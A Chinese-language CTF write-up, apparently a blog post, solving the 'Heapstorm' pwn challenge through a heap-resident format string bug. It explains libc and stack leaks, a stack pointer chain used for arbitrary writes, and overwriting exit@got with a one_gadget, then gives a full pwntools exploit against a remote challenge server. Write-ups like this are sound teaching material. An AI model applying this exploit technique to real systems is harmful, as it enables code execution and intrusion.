KCTF-前世今生(PWN)/ASIS CTF Finals 2016 Heapstorm-WP

Posted on Jan 7, 2021

最近为了学习_IO_FILE这一类的利用,在尝试阅读scanf的源码,想找一点参考资料,就到看雪论坛上面看了看,资料没找到反而是发现看雪也有自己的题库,于是就找了这道难度分最低的题目试了试水。原题地址

解法

非常容易,就是典型的堆上格式化字符串利用。考虑到内部对字符串的处理是用链表加堆实现的,好像也没什么保护措施,应该也是可以通过堆来利用的,但是那个的实现逻辑不是一眼可以理解的,所以我就没去想。

漏洞点就是这里。您可能会发现main函数中有一个isatty()函数,这是对当前进程是否由终端打开的判断,如果是则返回1,对于本题来讲就是如果是由终端打开就会打出一些提示输入的信息,如果不是就不会,但是仔细看上面的那个漏洞函数,会发现不论是不是终端打开都会有这个漏洞,所以完全不影响我们的利用。本题和一般的格式化字符串利用的唯一区别就是格式化字符串在堆上,我们没法直接向栈中布置地址来写,这种情况一般的解法都是找”跳板“实现任意地址读写,关于这种利用方式我之前有写过类似的一篇题解,就是这道xman_2019_format(文章里也介绍了格式化字符参数的计算方法,这里就不写了反正最后也是数出来的)。在这里我再写一次,也算复习一下。 把断点下在printf处

观察栈结构,我们可以看到蓝框中残留有libc的地址,通过%21$p我们就可以把它leak出来,用one_gadget搜一波就可以算出execve("/bin/sh", rsp+0x70, environ)的地址,所以只要我们可以实现任意地址写就可以get shell了。回想之前格式化字符串的利用,我们一般通过%n来向一个我们给定的地址写入数据,这里我们无法直接注入地址,就可以通过橙框中0x7fffffffdec0 —▸ 0x7fffffffdef0 —▸ 0x7fffffffdf20这样的链(也就是之前说的跳板)实现对地址0x7fffffffdef0的修改,将这个地址改成我们想修改的地址,然后再对地址0x7fffffffdef0进行%n就可以实现任意地址写了。当然这道题还是比较麻烦的

由于是通过这个函数退出的,所以我们需要劫持exitgot表来get shell,所幸的是没有开启full reload的保护。所以这个时候就有利用的方法了,也就是先通过链0x7fffffffdec0 —▸ 0x7fffffffdef0 —▸ 0x7fffffffdf20对地址0x7fffffffdef0中的值进行修改,修改成exit@got,然后再修改exit@gotone_gadget,退出就可以get shell了

exp

#!/usr/binenv python
# coding=utf-8
from pwn import *
#context(log_level = 'debug')
#context.terminal = ['tmux','splitw','-h']


#sh = process("./qsjs")
sh = remote("221.228.109.254",10001)
libc = ELF("./libc-2.23.so")

def insert_str(payload):
    sh.sendline("i")
    sh.sendline(payload)

def peek_str():
    sh.sendline("p")
  
def delete_str():
    sh.sendline("d")
#leak libc
insert_str("%21$pstop")
peek_str()
magic_off = 0xf1147
base = int(sh.recvuntil("stop",drop = True),base = 16) - (libc.symbols["__libc_start_main"] + 240)
print hex(base)
magic = base + magic_off
print hex(magic)
delete_str()

#leak stack
insert_str("%8$pstop")
peek_str()
stack_addr = int(sh.recvuntil("stop",drop = True),base = 16) + 8 
print hex(stack_addr)
delete_str()


addr_of_ret = stack_addr & 0xFFFF
insert_str("%" + str(addr_of_ret) + 'c' + "%8$hnend")
peek_str()
sh.recvuntil("end")
delete_str()

insert_str("%" + str(0x3098) + 'c' + "%14$hnend")
peek_str()
sh.recvuntil("end")
delete_str()


addr_of_ret = (stack_addr + 2) & 0xFFFF
insert_str("%" + str(addr_of_ret) + 'c' + "%8$hnend")
peek_str()
sh.recvuntil("end")
delete_str()


insert_str("%" + str(0x60) + 'c' + "%14$hnend")
peek_str()
sh.recvuntil("end")
delete_str()

#leak stack
insert_str("%15$pstop")
peek_str()
print hex(int(sh.recvuntil("stop",drop = True),base = 16)) 
delete_str()

#gdb.attach(proc.pidof(sh)[0])

insert_str("%" + str(magic & 0xFFFF) + 'c' + "%15$hnend")
peek_str()
sh.recvuntil("end")
delete_str()

insert_str("%15$s")
peek_str()
print hex(u64(sh.recv(6).ljust(8,"\x00")))
print hex(magic)
delete_str()

addr_of_ret = stack_addr & 0xFFFF
insert_str("%" + str(addr_of_ret) + 'c' + "%8$hnend")
peek_str()
sh.recvuntil("end")
delete_str()

insert_str("%" + str((0x309A)) + 'c' + "%14$hnend")
peek_str()
sh.recvuntil("end")
delete_str()

#leak stack
insert_str("%15$pstop")
peek_str()
print hex(int(sh.recvuntil("stop",drop = True),base = 16)) 
delete_str()


insert_str("%" + str((magic>>16) & 0xFFFF) + 'c' + "%15$hnend")
peek_str()
sh.recvuntil("end")
delete_str()

insert_str("%15$s")
peek_str()
print hex(u64(sh.recv(6).ljust(8,"\x00")))
print hex(magic)
delete_str()

insert_str("%" + str((0x309C)) + 'c' + "%14$hnend")
peek_str()
sh.recvuntil("end")
delete_str()

#leak stack
insert_str("%15$pstop")
peek_str()
print hex(int(sh.recvuntil("stop",drop = True),base = 16)) 
delete_str()


insert_str("%" + str((magic>>32) & 0xFFFF) + 'c' + "%15$hnend")
peek_str()
sh.recvuntil("end")
delete_str()

insert_str("%15$s")
peek_str()
print hex(u64(sh.recv(6).ljust(8,"\x00")))
print hex(magic)
delete_str()
sh.sendline("q")

sh.interactive()

由于我在写的时候没想清楚,所以实际上这个exp是写渣了的,但是shell还是可以拿的。